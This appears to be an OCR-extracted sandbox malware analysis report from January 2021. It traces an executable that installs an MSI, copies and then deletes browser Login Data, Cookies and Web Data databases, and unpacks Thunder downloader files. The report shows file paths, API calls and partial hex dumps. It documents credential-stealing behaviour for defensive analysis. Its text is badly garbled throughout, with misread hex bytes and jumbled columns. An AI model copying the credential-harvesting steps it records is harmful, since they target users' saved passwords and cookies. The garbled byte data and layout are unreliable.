General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe\:Zone.

Identifier:$DATA

C:\Users\user\AppData\Local\Temp\gdiview.msi

File Written

File Path

Copyright null 2021

17:38:33
29/01/2021

C:\Users\user\Desktop\N1yprTBBXs.exe

true

‘C:\Users\user\Desktop\N1yprTBBXs.exe'

0x400000
4999496 bytes

F7D7C89F3F5CBC925480B46B7B934157

true

true

C, C++ or other language

e Rule: Ping_Command_in_EXE, Description: Detects an suspicious ping command
execution in an executable, Source:
00000000.00000002.264281682.0000000002750000.00000040.00000001.sdmp, Author:

Florian Roth

low

Access Attributes

read data or list device
directory | read
attributes |

delete | write

dac |

synchronize |

generic read |

generic write

read data or list device
directory |

synchronize |

generic write

read attributes | device
synchronize |
generic write

Length Value Ascii

Options Completion

sequential only | success or wait
non directory file

sequential only | success or wait
synchronous io
non alert

synchronous io  success or wait
non alert | non
directory file

Completion

Source

Count Address Symbol

1

100205F2 CopyFileA

100205F2 CopyFileA

1001FC39 CreateFileA

Source

Count Address Symbol
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File Path Offset

C:\Users\user\AppData\Local\Temp\6272167835D47591.exe ~ O

C:\Users\user\AppData\Local\Te 0
mp\6272167835D47591.exe:Zone.|dentifier

C:\Users\user\AppData\Local\Temp\gdiview.msi

File Read

File Path
C:\Users\user\Desktop\N1yprTBBXs.exe

Registry Activities

Key Path

Key Path

Name

Copyright null 2021

Length Value

524288 4d 5a 90 00 03 00 00

26

unknown 237056

Type

00 04 00 00 00 ff ff 00 ...

00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 8 00 00 00

54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 cc ab 80 Oc 88 ca
ee 5f 88 ca ee 5f 88
ca ee 5f e7 bc 45 5f
8c ca ee 5f 1b 84 76
5f 8¢ ca ee 5f 93 57
70 5f al ca ee 5f 93
57 44 5f 5f ca ee 5f 93
57 45 5f da ca ee 5f
81 b2 6d 5f 8a ca ee
5f 81 b2 7d 5f af ca ee
5f 88 ca ef 5f 48 cb ee
5f93 57 41 5f 51 ca
ee 5f 93 57 74 5f 89
ca ee 5f 93 57 73 5f
89 ca ee 5f 52 69 63
68 88 ca ee 5f 00 00
00 00 00 00 00 00 50
45 00 00 4c 01 05

5b 5a 6f 6e 65 54 72
61 6e 73 66 65 72 5d
0d Oa 0d Oa 5a 6f 6e
65 49 64 3d 30

docflle0alblla
e1 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 3e 00 03 00
fe ff 09 00 06 00 00
00 00 00 00 00 00 00
00 00 04 00 00 00 01
00 00 00 00 00 00 00
00 10 00 00 03 00 00
00 04 00 00 00 fe ff f
ff 00 00 00 00 00 00
00 00 7c 00 00 00 00
01 00 00 7c 01 00 00
ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff f ff ff f ff fF f ff
ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff f ff
ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff f ff ff f
ff ff ff ff f ff ff f ff fF f ff
ff ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff f ff
ff ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff f ff ff f ff fF f ff
ff ff ff ff ff ff ff

Offset

unknown

Data

...H.....L.IThis program
cannot be run in DOS
mode....

[ZoneTransfer]....Zoneld=0

Length
4999496

Completion

success or wait

success or wait

success or wait

Completion

success or wait

Completion

Completion

Count Address

10

1

1

Source
Symbol

100205F2 CopyFileA

100205F2 CopyFileA

1001FC54 WriteFile

Source
Count Address Symbol

1 4F0C08 ReadFile

Source
Count Address Symbol

Source
Count Address Symbol
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Analysis Process: msiexec.exe PID: 6548 Parent PID: 6476

General

Start time: 17:38:37

Start date: 29/01/2021

Path: C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit): true

Commandline: msiexec.exe /i 'C:\Users\user\AppData\Local\Temp\gdiview.msi"
Imagebase: 0xe80000

File size: 59904 bytes

MD5 hash: 12C17B5A5C2A7B97342C362CA467E9A2
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: 6272167835D47591.exe PID: 6612 Parent PID: 6476
General
Start time: 17:38:40
Start date: 29/01/2021
Path: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Local\Temp\6272167835D47591.exe 0011 user01
Imagebase: 0x400000
File size: 4999496 bytes
MD5 hash: F7D7C89F3F5CBC925480B46B7B934157
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: Ping_Command_in_EXE, Description: Detects an suspicious ping command
execution in an executable, Source:
00000002.00000002.350264468.0000000002880000.00000040.00000001.sdmp, Author:
Florian Roth
Reputation: low

File Activities

File Created
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https://www.metadefender.com/#!/results/file/bzIxMDEyOE0yNzBjMjR3NWpLNnllTkxmY3M/regular/analysis

File Path
C:\Users\user\AppData\Local\Login Datal611970726180

C:\Users\user\AppData\Local\Cookies1611970726289

C:\Users\user\AppData\Roaming\1611970727133.exe

C:\Users\user\AppData\Roaming\Microsoft\Windows\4b5ce2fe28308fd9

C:\Users\user\AppData\Local\Login Datal611970737242

C:\Users\user\AppData\Local\Cookies1611970737289

C:\Users\user\AppData\Local\Web Data1611970737586

C:\Users\user\AppData\Localwebdatal1611970737633

C:\Users\user\AppData\Local\Temp\xIdl.dat

C:\Users\user\AppData\Local\Temp\download

C:\Users\user\AppData\Local\Temp\download\MiniThunderPlatform.exe

C:\Users\user\AppData\Local\Temp\download

C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe

C:\Users\user\AppData\Local\Temp\download\at|71.dll

C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll

Copyright null 2021

Access

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read data or list
directory | read
attributes |
delete | write
dac |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Source

Options Completion Count Address Symbol

sequential only | success or wait 1
non directory
file

38A77A8 CopyFileA

sequential only | success or wait 1
synchronous io

non alert | non

directory file

38A7E22 CopyFileA

synchronous io  success or wait 1 38A50E6 CreateFileA
non alert | non

directory file

synchronous io  success or wait 1 394286B CreateFileA
non alert | non

directory file

sequential only | success or wait 1
synchronous io

non alert | non

directory file

38A77A8 CopyFileA

sequential only | success or wait 1
synchronous io

non alert | non

directory file

38A7E22 CopyFileA

sequential only | success or wait 1
synchronous io

non alert | non

directory file

38A6F94 CopyFileA

sequential only | success or wait 1
synchronous io

non alert | non

directory file

38A6BCE CopyFileA

synchronous io  success or wait 1 3838337 CreateFileA
non alert | non

directory file

directory file | success or wait 1
synchronous io

non alert | open

for backup ident

| open reparse

point

383CBB9 CreateDirectoryW

synchronous io  success or wait 1 383DA6B CreateFileW
non alert | non

directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

object name collision 8 383CBB9 CreateDirectoryW

synchronous io  success or wait 1 383DA6B CreateFileW
non alert | non

directory file

synchronous io  success or wait 1 383DA6B CreateFileW
non alert | non

directory file

synchronous io  success or wait 1 383DA6B CreateFileW
non alert | non

directory file
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File Path

C:\Users\user\AppData\Local\Temp\download\download_engine.dll

C:\Users\user\AppData\Local\Temp\download\msvcp71.dll

C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

C:\Users\user\AppData\Local\Temp\xIdI.dll

C:\Users\user\AppData\Local\Temp\download\zlib1.dll

File Deleted

File Path

C:\Users\user\AppData\Local\Login Datal611970726180
C:\Users\user\AppData\Local\Cookies1611970726289
C:\Users\user\AppData\Roaming\1611970727133.txt
C:\Users\user\AppData\Roaming\1611970727133.exe
C:\Users\user\AppData\Local\Login Datal611970737242
C:\Users\user\AppData\Local\Cookies1611970737289
C:\Users\user\AppData\Local\Web Data1611970737586
C:\Users\user\AppData\Localwebdatal1611970737633
C:\Users\user\AppData\Local\Temp\xIdl.dat

File Written

File Path
C:\Users\user\AppData\Local\Login Datal611970726180

Copyright null 2021

Offset
0

Access

read attributes |

Attributes

device

synchronize |
generic write

read attributes |

device

synchronize |
generic write

read attributes |

device

synchronize |
generic write

read attributes |

device

synchronize |
generic write

read attributes |

device

synchronize |
generic write

Length Value

40960

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
33 0008 00 01 01 00
40 20 20 00 00 00 01
00 00 00 14 00 00 00
00 00 00 00 00 00 00
00 Ob 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 2e
43 ¢1 05 00 00 00 01
07 fb 00 00 00 00 10
07 fb 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Options

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

synchronous io
non alert | non
directory file

Ascii

SQLite format 3......

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Completion
success or wait
success or wait
success or wait
cannot delete
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

Source

Count Address Symbol
1 383DA6B CreateFileW
1 383DA6B CreateFileW
1 383DA6B CreateFileW
1 383DA6B CreateFileW
1 383DA6B CreateFileW
Source
Count Address Symbol

P R R R R R R R R

38A7CDO DeleteFileA
38A8BOD DeleteFileA
38A65AA DeleteFileA
38A65B7 DeleteFileA
38A7CDO DeleteFileA
38A8BOD DeleteFileA
38A738E DeleteFileA
38A6E26 DeleteFileA

389AD4D DeleteFileA

Source

Count Address Symbol

1

38A77A8 CopyFileA
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File Path

C:\Users\user\AppData\Local\Cookies1611970726289

C:\Users\user\AppData\Roaming\1611970727133.exe

Copyright null 2021

Offset Length
0 20480

unknown 103632

Value

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
3300 1000 01 01 00
40 20 20 00 00 00 03
00 00 00 05 00 00 00
00 00 00 00 00 00 00
00 02 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 03 00 2e
43 c10d 0f f8 00 04
0d 20 00 0f 67 Of cf 0d
20 0f 38 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00

00 00 00 f0 00 00 00

Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62

6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d

6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 4b 08 da 73 0f 69

b4 20 0f 69 b4 20 0f

69 b4 20 cc 66 eb 20
0d 69 b4 20 cc 66 €9
20 1d 69 b4 20 5 4a
4 20 Ob 69 b4 20 d5

4a a8 20 04 69 b4 20
0f 69 b5 20 10 68 b4
20 f5 4a ad 20 Oc 69

b4 20 28 af ¢6 20 13

69 b4 20 28 af c¢8 20

Oe 69 b4 20 28 af cc

20 Oe 69 b4 20 52 69
63 68 0f 69 b4 20 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 50 45 00 00 4c 01
04 00 03 53 b5 5a 00
00 00

Ascii

SQLite format 3......@

MZ...

............ 1..L.IThis program

cannot be run in DOS

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

38A7E22 CopyFileA

38A5108 WriteFile
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File Path

C:\Users\user\AppData\Local\Login Datal611970737242

C:\Users\user\AppData\Local\Cookies1611970737289

Copyright null 2021

Offset
0

0

Length Value

40960

20480

53 51 4¢c 69 74 6520 SQLite format 3

66 6f 72 6d 61 74 20
33 0008 00 01 0100
4020 20 00 00 00 01
00 00 00 14 00 00 00
00 00 00 00 00 00 00
00 Ob 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 01 00 2e
43 ¢1 05 00 00 00 01
07 fb 00 00 00 00 10
07 fb 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
3300100001 0100
40 20 20 00 00 00 03
00 00 00 05 00 00 00
00 00 00 00 00 00 00
00 02 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 03 00 2e
43 c1 0d 0f f8 00 04
0d 20 00 0f 67 Of cf 0d
20 0f 38 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Ascii

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

38A77A8 CopyFileA

38A7E22 CopyFileA
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File Path

C:\Users\user\AppData\Local\Web Data1611970737586

C:\Users\user\AppData\Localwebdatal1611970737633

Copyright null 2021

Offset
0

0

Length Value

73728

73728

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
33 0008 00 01 0100
40 20 20 00 00 00 02
00 00 00 24 00 00 00
00 00 00 00 00 00 00
00 18 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 05 00 00 00 02
07 f6 00 00 00 00 1b
07 fb 07 f6 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

53 51 4¢ 69 74 65 20
66 6f 72 6d 61 74 20
330008 0001 0100
40 20 20 00 00 00 02
00 00 00 24 00 00 00
00 00 00 00 00 00 00
00 18 00 00 00 04 00
00 00 00 00 00 00 00
00 00 00 01 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 02 00 2e
43 ¢1 05 00 00 00 02
07 f6 00 00 00 00 1b
07 fb 07 f6 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Ascii

SQLite format 3......

SQLite format 3......
B,

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

38A6F94 CopyFileA

38A6BCE CopyFileA
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File Path

C:\Users\user\AppData\Local\Temp\xIdl.dat

C:\Users\user\AppData\Local\Te
mp\download\MiniThunderPlatform.exe

Copyright null 2021

Offset Length

Value

unknown 1396736 37 7a bc af 27 1c 00

unknown 268744

03 e0 f9 43 d3 5e 54
15 00 00 00 00 00 24

0000 0000000000 6P}6..
3.4

3a 5f 63 7f 00 26 96
8e 70 00 17 {7 ec 05

bb ea f4 ff 94 01 2f 44 ~..$Y..Ah.L8./.

ee 4e bd 08 4d 68 43
0O 54 bf a4 92 00 e4
6e d7 a3 e5 b5 d2 e6
dd dO c0 4c 9d 56 31
383779 1b 5d 15 27
18 55 da a2 47 36 50
60 7d 36 €9 b0 5f 9e
de 66 a0 dO 3b 83 f6
3c d4 e3 Oc fb 9e 47
d7 97 2f91f1 7e e8
c4 33 95 02 86 5e 86
7c 1a 3d cc 47 d8 36
cf 0a 35 bl 21 53 4b
eb 24 b9 52 64 4f 01
b5 c1 d1 32 da 43 2d
5e 92 e8 06 d5 24 59
2e c5 41 68 fe 4c 38
9d 2f 88 a5 86 9f 68
24 caebecelfaac
5c Oe 96 7e 14 ce 84
9a 62 be 5d e9 55 86
b8 f1 34 el ac fd 27
64 49 4e 5e a4 3f 36
fb 72 a9 ce 14 f0 2c
3c 4b 30 €8 9b 1a d2
87 c2 8e e7 Ob 5e 9b
56 67 de 3a 6a a4 20
26 6a 84 ee 7b cac8
c7 58 ec 92 4b 2e ae
352a

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 18 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 ed 30 aa 68 a9 51
c4 3b a9 51 c4 3b a9
51 c4 3b ba 59 ad 3b
ab 51 c4 3b ac 5d cb
3b ac 51 c4 3b ac 5d
9b3ba751c43bac
5d 99 3b ad 51 ¢4 3b
ac 5d a4 3b a3 51 c4
3b 53 72 dd 3b ad 51
c4 3b ba 59 99 3b ab
51 c4 3b 2a 59 99 3b
a551c43bag5lch
3b ed 50 c4 3b 8e 97
bf 3baa 51 c4 3b 27
46 a4 3b b1 51 c4 3b
45 5a 9a 3b a8 51 c4
3b 27 46 9e 3b a8 51
c4 3b 52 69 63 68 a9
51c4

Ascii

7z ...
G

&..p.
N

2.C-
h$...

AomblLU..4. dINA2
6.
{

r....,<K0......... AVg.j. &j..

sc2Red KT

......... 1..L.IThis program

cannot be run in DOS
mode....

$

.0.h.Q..Q.;.Q.;.Y.;.Q
Q..15:Q45.1:.Q5 15

.Q.;Sr.;.Q.5.Y.5.Q.5*Y,;.Q. .

Q.;.P.;.....Q.'F.;.QEZ,;.Q.;

'F.;.Q.;Rich.Q.

G.6..5.1ISK.$.RdO.

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

3834133 WriteFile

383DB9A WriteFile
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File Path

Offset Length Value

C:\Users\user\AppData\Local\Temp\download\ThunderFW.exe unknown 73160

C:\Users\user\AppData\Local\Temp\download\at|71.dll

Copyright null 2021

unknown 89600

4d 5a 90 00 03 00 00

00 04 00 00 00 ff ff 00 ..

00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f0 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 44 d9 22 43 00 b8
4c 10 00 b8 4c 10 00
b8 4c 10 1le ea c8 10
05 b8 4c 10 09 c0 c8
10 26 b8 4c 10 09 cO
d9 10 15 b8 4c 10 09
c0 cf 10 59 b8 4c 10

27 7e 21 10 01 b8 4c
10 27 7e 37 10 07 b8
4c 10 00 b8 4d 10 5¢
b8 4c 10 09 c0 c6 10
02 b8 4c 10 1e ea d8
10 01 b8 4c 10 09 cO
dd 10 01 b8 4c 10 52
69 63 68 00 b8 4c 10
00 00 00 00 00 00 00
00 50 45 00 00 4c 01
05 00 a8 98 8f 50 00
00 00

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 08 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 732070 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
004572 acc40113
€297 0113c29701
13¢297 82 1b 9d 97
0313 ¢2 97 c0 1b a2
97 03 13 ¢c2 97 8f 04
cd 97 0a 13 c2 97 fb
30db 97 03 13 c2 97
82 1b 9f 97 02 13 c2
970113¢397¢c113
€297 8f 04 9d 97 13
13¢c2 97 8f 04 a2 97
06 13 c2 97 8f 04 9e
97 00 13 c2 97 8f 04
9c 97 00 13 c2 97 8f
04 98 97 00 13 c2 97
52 69 63 68 01 13 c2
97 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

Ascii

V] 72— Q.....

cannot be run in DOS
mode....

$....... D."C..L...L..L......
L&l Lo Y.L~
LL~7. L .M\L......L...

MZ...

............ 1..L.IThis program

cannot be run in DOS
mode....

.L.!This program

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

383DB9A WriteFile

383DB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\download\dl_peer_id.dll

C:\Users\user\AppData\Local\Te
mp\download\download_engine.dll

Copyright null 2021

Offset Length
unknown 92080

unknown 3512776

Value

4d 5a 90 00 03 00 00

00 b8 00 00 00 00 00

Ascii

V| ZZ——
00 04 00 00 00 ff ff 00 ..

.L.!This program

00 00 40 00 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 10 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 b9 1d 87 59 fd 7c
e9 Oa fd 7c e9 Oa fd
7c e9 Oa ee 74 80 Oa
fc 7c e9 0a f8 70 b6
Oa f5 7c e9 Oa f8 70
e6 0af9 7c e9 Oa f8
70 b4 0af9 7c e9 Oa
8 70 89 0a f8 7c €9
Oa 7e 74 b6 Oa fe 7c
e9 0a 07 5ff0 0a f9 7c
€9 Oa ee 74 b4 Oa ff
7ce9 0a 7e 74 b4 0a
f6 7c €9 Oa fd 7c e8
0a 36 7c €9 0a 73 6b
89 Oaed 7ce9 Oa 73
6b b5 Oa fc 7c e9 Oa
11 77 b7 Oa fc 7c €9
Oa 73 6b b3 Oa fc 7c
e9

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00

mode....
$...

Jomt]

w...|..sk...

MZ...

3 S——— [

o ]o]-6]..5K...]..sk...|..
I

t

L.!IThis program

00 00 40 00 00 00 00 cannot be run in DOS
00 00 00 00 00 0000 mode....$....... M. LA A

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 38 01 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62

6520 72 75 6e 20 69
6e 20 44 4f 53 20 6d

6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 4d a2 15 7d 09 c3
7b 2e 09 c3 7b 2e 09
c37b2elach122e
Ob c3 7b 2e Oc cf 24

2e Oe c3 7b 2e Oc cf

74 2e 05 c3 7b 2e Oc
cf 26 2e 0d c3 7b 2e

Oc cf 1b 2e 04 c3 7b

2e 8ach 24 2e 0d c3
7b 2e f3 €0 62 2e 0d

c3 7b 2e lach 26 2e
Ob c3 7b 2e 87 d4 24
2e0bc37b2eeldc
712e 42 c37b 2e 8a
cb 26 2e 12 c3 7b 2e
87 d4 26 2e 0d c3 7b
2e 09 c3 7a2e 89 cl
7b 2e 87 d4 1b 2e 6b
cl7b

{

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

383DB9A WriteFile

383DB9A WriteFile
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File Path

C:\Users\user\AppData\Local\Temp\download\msvcp71.dll

C:\Users\user\AppData\Local\Temp\download\msvcr71.dll

Copyright null 2021

Offset Length Value Ascii
unknown 503808 4d5a 9000030000 MZ...........c.co...... @.....
00 04 00 00 00 ff ff 00 ..

unknown 348160

00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 e8 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d Oa
2400 00 00 00 00 00
00 84 6b fe f4 cO 0a
90 a7 c0 0a 90 a7 cO
0a 90 a7 43 02 cd a7
c2 0a 90 a7 c0 0a 91
a7 af 0a 90 a7 4e 1d
cd a7 c30a 90 a7 4e
1d 9f a7 c4 0a 90 a7
4e 1d f0 a7 e5 0a 90
a7 4e 1d cf a7 ef Oa
90 a7 4e 1d cc a7 cl
0a 90 a7 4e 1d ce a7
c10a 90 a7 4e 1d ca
a7 cl0a 90 a7 52 69
63 68 c0 0a 90 a7 00
00 00 00 00 00 00 00
50 45 00 00 4c 01 05
00 ed 51 b4 44 00 00
00 00 00 00 00 00 €0
00 Oe

4d 5a 90 00 03 00 00
00 04 00 00 00 ff ff 00
00 b8 00 00 00 00 00
00 00 40 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 f0 00 00 00
Oe 1f ba Oe 00 b4 09
cd 21 b8 01 4c cd 21
54 68 69 73 20 70 72
6f 67 72 61 6d 20 63
61 6e 6e 6f 74 20 62
65 20 72 75 6e 20 69
6e 20 44 4f 53 20 6d
